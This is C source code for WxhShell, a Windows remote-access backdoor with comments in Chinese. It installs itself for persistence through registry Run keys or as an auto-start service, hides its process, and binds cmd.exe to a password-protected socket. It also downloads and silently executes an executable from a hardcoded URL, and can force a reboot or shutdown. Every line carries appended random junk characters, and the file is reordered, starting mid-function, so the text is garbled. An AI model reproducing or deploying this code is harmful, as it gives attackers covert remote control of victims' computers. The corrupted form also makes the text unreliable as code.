    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Tyf*:_F>  
    if(Boot(SHUTDOWN)) 5,R`@&K3D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NF mc>0-  
    else { v,jhE9_O0  
    closesocket(wsh); =U"dPLax  
    ExitThread(0); f`?0WJ(M  
    } #uKWuGz]  
    break; H2U:@.o2&  
    } 3$_*N(e  
  // 获取shell RLHYw@-j@  
  case 's': { ybE[B}pOeZ  
    CmdShell(wsh); bAiJn<  
    closesocket(wsh); 8+>\3j  
    ExitThread(0); Bc<n2 C0  
    break; TF\sP8>V  
  } 4mJFvDZV`  
  // 退出 |1Hc&  
  case 'x': { 0% +'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8_a3'o%5  
    CloseIt(wsh); `%=<R-/#7S  
    break; \ I:.<2i  
    } aMJ;bQD  
  // 离开 W#{la`#Bu  
  case 'q': { h/K@IA d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +c) TDH  
    closesocket(wsh); #9:2s$O[x  
    WSACleanup(); bi$VAYn.^  
    exit(1); =EpJZt  
    break; 0hwj\{"  
        } |dk[cX>  
  } +s~.A_7)  
  } H^ BYd%-  
f4"4ZVcr  
  // 提示信息 pj; I)-d/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6t7fa<  
} vq>l>as9O  
  } b\giJ1NJB  
;LQ9#M?  
  return; CGZ^hoh/  
} opD-vDa h  
bX2"89{  
// shell模块句柄 74f9|~%  
int CmdShell(SOCKET sock) LT_iS^&1  
{ * t!r@k  
STARTUPINFO si; vv+J0f^  
ZeroMemory(&si,sizeof(si)); ,{KCY[}|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d!V$Y}n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sV2iITF p  
PROCESS_INFORMATION ProcessInfo;  ;:OsSq&  
char cmdline[]="cmd"; FN?3XNp.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5I' d PNf  
  return 0; QVtM.oi!Q  
} " U8S81'  
^npJUa  
// 自身启动模式 }C,O   
int StartFromService(void) Im)EDTm$  
{ Uc&iZFid2K  
typedef struct C-w5KW  
{ $Q/Ya@o  
  DWORD ExitStatus; -5k2j^r;  
  DWORD PebBaseAddress; #SnvV  
  DWORD AffinityMask; 9Cvn6{  
  DWORD BasePriority; X+l'bp]Ry  
  ULONG UniqueProcessId; c1%rV`)]  
  ULONG InheritedFromUniqueProcessId; _|zBUrN  
}   PROCESS_BASIC_INFORMATION; 62\&RRB i  
XYfv(y  
PROCNTQSIP NtQueryInformationProcess; %|+E48  
q3S+Y9L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ST;t, D:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &&7r+.Y  
o~1 Kp!U  
  HANDLE             hProcess; f*fE};  
  PROCESS_BASIC_INFORMATION pbi; &HDP!SLS  
LchnBtjn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &tE.6^F  
  if(NULL == hInst ) return 0; /k6fLn2;  
'jjb[{g^}}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $$1qF"GF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gQouOjfP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RiR:69xwR*  
e;ty!)]  
  if (!NtQueryInformationProcess) return 0; 79BaDB`{a  
`.v(fC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s| -FH X  
  if(!hProcess) return 0; ( u`W!{1\  
HOZRYIQB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OYmi?y\  
8)wt$b  
  CloseHandle(hProcess); s9j7Psd  
C@gXT]Q 0}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q p~g P  
if(hProcess==NULL) return 0; Zj VWxQ  
L1 #Ij#  
HMODULE hMod; b,<9  
char procName[255]; )/|6'L-2  
unsigned long cbNeeded; shgAhx  
Em^ (  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yL1CZ_  
q_t4OrLr=  
  CloseHandle(hProcess); ?c#$dc"  
,pt%) c  
if(strstr(procName,"services")) return 1; // 以服务启动 8;"*6vHZ  
R_kQPP  
  return 0; // 注册表启动 Q@QFV~  
} s;1h-Oq (  
;[$n=VX`  
// 主模块 ry0%a[[  
int StartWxhshell(LPSTR lpCmdLine) 9uYyfb: ,z  
{ HeA{3s  
  SOCKET wsl; }Je>;{&%  
BOOL val=TRUE; :}q\tNY<  
  int port=0; \a|L/9%  
  struct sockaddr_in door; 1HR~ G9  
,k0r  
  if(wscfg.ws_autoins) Install(); K@:m/Z}|4  
HY}j!X  
port=atoi(lpCmdLine); ${hz e<g  
p{Sh F.  
if(port<=0) port=wscfg.ws_port; <{J5W6  
>e&:`2%.  
  WSADATA data; -?a<qa?$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6Bt=^~d  
<4`eQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;4#D,zlO^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LE=k  
  door.sin_family = AF_INET; |m G7XL,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0ejdKdYN  
  door.sin_port = htons(port); 0$P/jt  
buMq F-j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -J0WUN$2*  
closesocket(wsl); ^TFs;|..  
return 1; d- E4~)Qy  
} zO=%J)-=  
'vIx#k4D1  
  if(listen(wsl,2) == INVALID_SOCKET) { [=%YV# O  
closesocket(wsl); l{WjDed  
return 1; Oejq@iM"(  
} xN"Z1n7t  
  Wxhshell(wsl); r':TMhzHq?  
  WSACleanup(); SUtf[6  
0$vj!-Mb^j  
return 0; E~hzh /,34  
6oL1_)  
} lWZuXb,G  
#D%ygh=  
// 以NT服务方式启动 qE7R4>5xjO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f4('gl9  
{ ^U  q  
DWORD   status = 0; d/,E2i{I7  
  DWORD   specificError = 0xfffffff; \5><3*\  
NAFsFngqH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'r} fZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p@Q5b}xCG_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XvGA|Ekf<  
  serviceStatus.dwWin32ExitCode     = 0; ]!{y a8  
  serviceStatus.dwServiceSpecificExitCode = 0; O&Z' r  
  serviceStatus.dwCheckPoint       = 0; kBEmmgL  
  serviceStatus.dwWaitHint       = 0; E^Gg '1  
%{5n1w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HgRwi It  
  if (hServiceStatusHandle==0) return; gn1(4 o  
;</Lf=+Vm  
status = GetLastError(); eC`pnE  
  if (status!=NO_ERROR) ljJ>;g+  
{ m <k!^jp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RDQ^dui  
    serviceStatus.dwCheckPoint       = 0; 6f%DpJ:$U  
    serviceStatus.dwWaitHint       = 0; #=,(JmQPt  
    serviceStatus.dwWin32ExitCode     = status; GG6% bF  
    serviceStatus.dwServiceSpecificExitCode = specificError; edC 4BHE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S"2qJ!.u  
    return; +8P,s[0<R_  
  } m7|RD]q&  
xi'>mIT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^4$ 'KIq  
  serviceStatus.dwCheckPoint       = 0; 6XV<? 9q  
  serviceStatus.dwWaitHint       = 0; W?RE'QV8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qvoqx>2p5  
} g"8 .}1)~r  
m}Y0xV9  
// 处理NT服务事件,比如:启动、停止 ` $5UHa2/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9s$U%F6}  
{ 7v"lNP-?jU  
switch(fdwControl) O>0VTW  
{ ": ;@Hnb/  
case SERVICE_CONTROL_STOP: i6PM<X,{;  
  serviceStatus.dwWin32ExitCode = 0; P9Q2gVGAO{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6LUC!Sh  
  serviceStatus.dwCheckPoint   = 0; hkL5HzWn  
  serviceStatus.dwWaitHint     = 0; CnF |LTi  
  { iU2KEqCm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Z!b G?="  
  } uQ Co6"e  
  return; vA%^`5  
case SERVICE_CONTROL_PAUSE: \F6LZZ2Lv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c| ~6Ie  
  break; QB{rVI>mI!  
case SERVICE_CONTROL_CONTINUE: }xb=<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %1U`@0  
  break; {U11^w1"3  
case SERVICE_CONTROL_INTERROGATE: C?Zw6M+  
  break; Jobiq]|>  
}; L\aBc}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v:_B kHN'  
} MBr:?PE7  
pd@;b5T  
// 标准应用程序主函数 (jWss  V1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cpl;vQ  
{ ]`=X'fED  
?/#}ZZK^  
// 获取操作系统版本 [IBQvL  
OsIsNt=GetOsVer(); yubSj*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %:C ]7gQ  
r64u31.)  
  // 从命令行安装 TCVl8)j  
  if(strpbrk(lpCmdLine,"iI")) Install(); '?*g%Yuz  
F@<0s&)1  
  // 下载执行文件 n-;y*kD  
if(wscfg.ws_downexe) { }-<zWI {p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qCMl!g'  
  WinExec(wscfg.ws_filenam,SW_HIDE); f^<6`Aeq  
} vwGeD|Fb5  
0lk;F  
if(!OsIsNt) { ug&[ IL~lc  
// 如果时win9x,隐藏进程并且设置为注册表启动 CC >=UF  
HideProc(); Vy)hDa[&  
StartWxhshell(lpCmdLine); #=e;?w  
} JqUADm  
else =([av7  
  if(StartFromService()) =H5\$&xj4.  
  // 以服务方式启动 dfj\RIV8  
  StartServiceCtrlDispatcher(DispatchTable); MQ/ A]EeL  
else adEJk  
  // 普通方式启动 r4 dOK] 0  
  StartWxhshell(lpCmdLine); %'Xk)-+y  
&~DTZg Y  
return 0; k!XhFWb  
} w Fn[9_`*  
l95<QI  
><?BqRm+  
|BU+:+  
=========================================== K`:=]Z8  
<I*x0BM=  
Q}AE.Ef@<  
uZ6d35MJ  
/'DwfX  
S5=Udd"  
" E">T*ao  
VrP}#3I  
#include <stdio.h> n]CbDbNw7)  
#include <string.h> 5"Kx9n|  
#include <windows.h> ;DRTQn`m  
#include <winsock2.h> (X[2TT3j!  
#include <winsvc.h> %,*$D} H  
#include <urlmon.h> 3NK ^AaTK  
q`|CrOzO  
#pragma comment (lib, "Ws2_32.lib") $6f\uuTU2"  
#pragma comment (lib, "urlmon.lib") D$k8^Vs  
,\PVC@xJ  
#define MAX_USER   100 // 最大客户端连接数 vxlOh.a|/L  
#define BUF_SOCK   200 // sock buffer wzcai 0y*  
#define KEY_BUFF   255 // 输入 buffer USML~]G z  
0(>rG{u  
#define REBOOT     0   // 重启 ph:3|d  
#define SHUTDOWN   1   // 关机 Mio>{%/  
[pOg'  
#define DEF_PORT   5000 // 监听端口 h+7>#*DH  
/L=(^k=a.;  
#define REG_LEN     16   // 注册表键长度 3HV%4nZLf  
#define SVC_LEN     80   // NT服务名长度 yYJY;".H  
%oykcf,#  
// 从dll定义API }E <^gAh}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x ,/TXTZ6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eh8Pwt7C@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2h~-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f?fKhu2  
>%b\yl%0  
// wxhshell配置信息 SqPtWEq@P  
struct WSCFG { Sq]pQ8  
  int ws_port;         // 监听端口 jB$SUO`*  
  char ws_passstr[REG_LEN]; // 口令 g;p)n  
  int ws_autoins;       // 安装标记, 1=yes 0=no {i{xo2<1"  
  char ws_regname[REG_LEN]; // 注册表键名 #~ v4caNx  
  char ws_svcname[REG_LEN]; // 服务名 H. ,;-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h=VqxGC&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dXvt6kF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4)-)#`K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nY-* i!H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JyBp-ii  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FVWfDQ$&v  
[`fI:ao|  
}; &vUq}r%P  
'JmBh@A  
// default Wxhshell configuration \|= mD}N  
struct WSCFG wscfg={DEF_PORT, n$+M%}/f  
    "xuhuanlingzhe", o3Ot.9L  
    1, }U 5Y=RYo  
    "Wxhshell", GRYe<K  
    "Wxhshell", #XIc "L)c  
            "WxhShell Service", Qc-(*}  
    "Wrsky Windows CmdShell Service", ;6;H*Y0,|E  
    "Please Input Your Password: ", P~$< X  
  1, '"YYj$> '  
  "http://www.wrsky.com/wxhshell.exe", 7v~j=Z>  
  "Wxhshell.exe" 'VnwG  
    }; Ggm` ~fS  
-$8.3\6h  
// 消息定义模块 L_O$>c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7 _jE[10  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !AHAS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;<Qdy` T  
char *msg_ws_ext="\n\rExit."; _]>JB0IY  
char *msg_ws_end="\n\rQuit."; Csst[3V  
char *msg_ws_boot="\n\rReboot..."; S\C*iGeqJ  
char *msg_ws_poff="\n\rShutdown..."; _kraMQ>  
char *msg_ws_down="\n\rSave to "; "PWl4a&  
m)>&ZIXa  
char *msg_ws_err="\n\rErr!"; T|4snU2M  
char *msg_ws_ok="\n\rOK!"; Z| 6{T  
d.F)9h]XHO  
char ExeFile[MAX_PATH]; !XE aF]8  
int nUser = 0; 1 i|.h  
HANDLE handles[MAX_USER]; >>'C :7+Y  
int OsIsNt; 6F0(aGs  
v"6 \=@  
SERVICE_STATUS       serviceStatus; 5 9 2;W-y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rGwIcx(%  
>l1 r,/\\  
// 函数声明 x"B' zP  
int Install(void); Utl t<  
int Uninstall(void); loOOmHhJ&  
int DownloadFile(char *sURL, SOCKET wsh); P_4DGW  
int Boot(int flag); L ubrn"128  
void HideProc(void); cnNOZ$)  
int GetOsVer(void); v"lf-c  
int Wxhshell(SOCKET wsl); 4iX-(ir,  
void TalkWithClient(void *cs); je%M AgW`  
int CmdShell(SOCKET sock); P~7.sM  
int StartFromService(void); H[&@}v,L  
int StartWxhshell(LPSTR lpCmdLine); >IvBU M[Rt  
'imU `zeo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p]|LV)R n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *o?i:LE]  
Fz"ff4Bx [  
// 数据结构和表定义 f05d ;  
SERVICE_TABLE_ENTRY DispatchTable[] = zmFws-+A  
{ :[7lTp   
{wscfg.ws_svcname, NTServiceMain}, MiGcA EF;  
{NULL, NULL} n'w,n1z7  
}; @'jf KW  
"~+.Af  
// 自我安装 )C]x?R([m  
int Install(void) <e"J4gZf&  
{ z/|BH^Vw  
  char svExeFile[MAX_PATH]; w9&#~k]5  
  HKEY key; RI.2F*|  
  strcpy(svExeFile,ExeFile); ';YgG<u  
6].:.b\qQc  
// 如果是win9x系统,修改注册表设为自启动 XAic9SNu;  
if(!OsIsNt) { R{}qK r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :=.*I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !k&)EWP?  
  RegCloseKey(key); ! q6hC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LJuW${Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8C&x MA^  
  RegCloseKey(key); 9C}qVoNu  
  return 0; {U @3yB  
    }  &"S/Lt  
  } ?l6jG  
} aC\4}i<  
else { NB)t7/Us  
F? ]N8W  
// 如果是NT以上系统,安装为系统服务 g:~+P e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TipHV;|e  
if (schSCManager!=0) %v=!'?VT  
{ #+jUhxq  
  SC_HANDLE schService = CreateService zJl_ t0  
  ( ,x#ztdvr  
  schSCManager, McP.9v}H0_  
  wscfg.ws_svcname, "sbBe73 m  
  wscfg.ws_svcdisp, Lo`F  
  SERVICE_ALL_ACCESS, 4M`Xrfwm'[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `iYc<N`  
  SERVICE_AUTO_START, :t$A8+A+0  
  SERVICE_ERROR_NORMAL, {8CWWfHCD  
  svExeFile, &=w|vB)(p  
  NULL, z^`]7i  
  NULL, r_o<SH  
  NULL, 2P}I'4C-  
  NULL, f1cl';  
  NULL SGf9U^ds  
  );  )U98  
  if (schService!=0) aqL<v94wX  
  { YKx 1NC  
  CloseServiceHandle(schService); KTmaglgp  
  CloseServiceHandle(schSCManager); Bymny>.M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WYO\'W  
  strcat(svExeFile,wscfg.ws_svcname); OgMI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +VOb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w-rOecwFvu  
  RegCloseKey(key); [ b1hC ~I;  
  return 0; [thboP.?  
    } uWc:jP  
  } $ KQ,}I  
  CloseServiceHandle(schSCManager); Auac>')&Q  
} #93}E Y  
} 9k `~x1Y)  
"$@,n7 k  
return 1; \y~)jq:d"  
} 'p)QyL`d  
fValSQc!U  
// 自我卸载 $ I<|-]u  
int Uninstall(void) uPU#c\  
{ d]7*mzw^j  
  HKEY key; >d%VDjk .  
Gpu_=9vzv  
if(!OsIsNt) { _Ex?Xk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] 09yy  
  RegDeleteValue(key,wscfg.ws_regname); DTy/jaK  
  RegCloseKey(key); M&e8zS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EAyukM2  
  RegDeleteValue(key,wscfg.ws_regname); q$>_WF#||  
  RegCloseKey(key); 1n3$V:00  
  return 0; ~e^)q>Lb7(  
  } `o-*Tr  
} 6\`DlUn'*  
} .mt^m   
else { z93nYY$`Y  
;&mxqY8`'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6ZgNHARS  
if (schSCManager!=0) p#<nK+6.8  
{ Q \WXi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VM;g +RRq  
  if (schService!=0) e6m1NH4,  
  { f\'G`4e  
  if(DeleteService(schService)!=0) { `.8-cz  
  CloseServiceHandle(schService); t|=n1\=?  
  CloseServiceHandle(schSCManager); 2Iz fP;V?  
  return 0; $jcz?vH  
  } k~|ZO/X@l%  
  CloseServiceHandle(schService); cG(0q[  
  } |_I[1%&`N  
  CloseServiceHandle(schSCManager); |Gc&1*$  
} npj5U/  
} Rp eBm#E2  
O3xz|&xY&  
return 1; m)k-uWc$C  
} I}%mfojC  
}K;iJ~kD1  
// 从指定url下载文件 -x?Hj/  
int DownloadFile(char *sURL, SOCKET wsh) D(@SnI+  
{ .b~OMTHuvM  
  HRESULT hr; Zh? V,39  
char seps[]= "/"; $Q ffrU'  
char *token; '\'7yN'  
char *file; ?\d5;%YSr  
char myURL[MAX_PATH]; FvA|1c  
char myFILE[MAX_PATH]; @7X\tV.Z  
K*:Im #Q  
strcpy(myURL,sURL); 'A1E^rl]=  
  token=strtok(myURL,seps); *vD/(&pQ1:  
  while(token!=NULL) E6Q91Wz9f  
  { 0#]!#1utg  
    file=token; 0STk)> 3$-  
  token=strtok(NULL,seps); SZE`J:w  
  } oVreP  
e sGlMq  
GetCurrentDirectory(MAX_PATH,myFILE); oFn4%S:  
strcat(myFILE, "\\"); n4R]+&*  
strcat(myFILE, file); b<\GI 7  
  send(wsh,myFILE,strlen(myFILE),0); M;PlSb  
send(wsh,"...",3,0); ~QO< B2hS}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ks51:M  
  if(hr==S_OK) 'Ye]eL,I\  
return 0; F]0Jwm{  
else > XZg@?Iw  
return 1; ^@Y9!G=  
&gJW6 <  
} (E IRz>  
_rG-#BKW8L  
// 系统电源模块 3U>S]#5}  
int Boot(int flag) wH!}qz /  
{ H! #5!m&  
  HANDLE hToken; A` =]RJ  
  TOKEN_PRIVILEGES tkp; 4a1BGNI%SW  
epYj+T  
  if(OsIsNt) { sI4QI\*4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wNbTM.@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QdirE4W  
    tkp.PrivilegeCount = 1; p>!1S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (\tq<h0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FfjC M7?  
if(flag==REBOOT) { O2$!'!hz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }il%AAI9}r  
  return 0; cS5w +`,L  
} ^`/V i  
else { "wF*O"WQo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ag<4r  
  return 0; c.\:peDk  
} Vj29L?3  
  } [KD}U-(Wg  
  else { M Ey1~h/  
if(flag==REBOOT) { A?\h|u<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D`8E-Bq  
  return 0; ;g6 nHek  
} I? A~zigO  
else { 7/ 4~>D&-b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ?DJuQFv  
  return 0; +<H !3sW  
} YdPlN];[  
} QZWoKGd}+  
FV`3,NFk  
return 1; +Z )`inw  
} C CC4(v  
uAChu]  
// win9x进程隐藏模块 =":@Foa  
void HideProc(void) ZjE~W>pkQ  
{ LxIuxt=X|p  
`Nkx7Z~w:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qa>%[jx,@,  
  if ( hKernel != NULL ) o:h)~[n|  
  { byp.V_a}/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W5TqC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #cR57=M}  
    FreeLibrary(hKernel); twAw01".  
  } p0"BO4({{  
Qh/lT$g  
return; TeOFAIU  
} FW/6{tm  
cPx66Dh&  
// 获取操作系统版本 K,Lr +  
int GetOsVer(void) oC5gME"2  
{ >qr=l,Hi  
  OSVERSIONINFO winfo; F>p%2II/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hU |LFjc  
  GetVersionEx(&winfo); }o~Tw?z-|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,^Ex}Z  
  return 1; ))c*_n  
  else :Xb*m85y  
  return 0; RJQ/y3  
} g8C+1G8  
9c#L{in  
// 客户端句柄模块 V=:,]fTr  
int Wxhshell(SOCKET wsl) 77)OW $G  
{ 0^-z?Kb<}  
  SOCKET wsh; mm3zQ!2j.  
  struct sockaddr_in client; =9#i<te  
  DWORD myID; @oUf}rMiDa  
Lx9hq7<  
  while(nUser<MAX_USER) ,oy4V^B&  
{ *9\oD~2Y  
  int nSize=sizeof(client); #1gTpb+t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 ?EY.}~  
  if(wsh==INVALID_SOCKET) return 1; bfcD5:q  
PGC07U:B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <!$j9)~x  
if(handles[nUser]==0) 0]f?Dx/8  
  closesocket(wsh); :DF`A(  
else ;Of?fe5:  
  nUser++; Q&\ZC?y4  
  } D7 8) 4>X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z?.:5#  
jFI]54,  
  return 0; EuhF$L1  
} 2n<qAl$t  
37GHt9l  
// 关闭 socket &QiAM`MbC=  
void CloseIt(SOCKET wsh) / n C$?w  
{ hg)!m\g  
closesocket(wsh); n:%'{}Jw  
nUser--; aTmX!!  
ExitThread(0); P#M<CG9  
} e!O &~#'h}  
(cbB %  
// 客户端请求句柄 $6qR/#74  
void TalkWithClient(void *cs) >EPaZp6  
{ i[V,IP +  
P7M0Ce~iW  
  SOCKET wsh=(SOCKET)cs; ^v()iF !  
  char pwd[SVC_LEN]; \J#I}-a&j  
  char cmd[KEY_BUFF]; 'eTpcrS3  
char chr[1]; dA3`b*nC  
int i,j; 4c493QOd  
r-Xjy*T  
  while (nUser < MAX_USER) { R$~JhcX*l'  
ZVCv(J  
if(wscfg.ws_passstr) { JC1BUheeb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y+S~b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^^U)WB  
  //ZeroMemory(pwd,KEY_BUFF); D(W7O>5vQ2  
      i=0; t/4/G']W  
  while(i<SVC_LEN) { )[a?J,  
M $E8:  
  // 设置超时 [bQ8A(u  
  fd_set FdRead; ^+YGSg7  
  struct timeval TimeOut; ^+.e5roBKj  
  FD_ZERO(&FdRead); yDl5t-0`  
  FD_SET(wsh,&FdRead); av$\@4I  
  TimeOut.tv_sec=8; #dXZA>b9  
  TimeOut.tv_usec=0; ?L.p9o-S0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vCrWA-q#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vM$#m1L?  
Xqq?S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o>!~*b';g,  
  pwd=chr[0]; 9 ;! uV>-H  
  if(chr[0]==0xd || chr[0]==0xa) { ** "s~  
  pwd=0; W"DxIy  
  break; JN9HT0  
  } lVO(9sl*i  
  i++; 0o\=0bH&s  
    } J0{WqA.P  
a-o hS=W  
  // 如果是非法用户,关闭 socket 2gNBPd)I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tF)k6*+  
} ^!{ oAzy9  
s;=J'x)~%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %E=,H?9&>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n Y.Umj  
pNk,jeo  
while(1) { ^U|CNB%.  
!3gpiQH{  
  ZeroMemory(cmd,KEY_BUFF); |Cxip&e>  
+=lcN~U2  
      // 自动支持客户端 telnet标准   S -mzxj  
  j=0; %[31ZFYB  
  while(j<KEY_BUFF) { o Q!g!xz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uc{Qhw!;:  
  cmd[j]=chr[0]; 7kew/8-  
  if(chr[0]==0xa || chr[0]==0xd) { }@t'rK[  
  cmd[j]=0; i(TDJ@}  
  break; pu m9x)y1  
  }  s`{#[&[  
  j++; {mq$W  
    } jTxChR  
Hr64M0V3B  
  // 下载文件 D=Yag!1  
  if(strstr(cmd,"http://")) { ztt%l #  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k}owEBsn}  
  if(DownloadFile(cmd,wsh)) uR[PKLh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I'wk/  
  else d}A2I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^?l-YnQqm?  
  } Z!BQtICs  
  else { k kuQ"^<J  
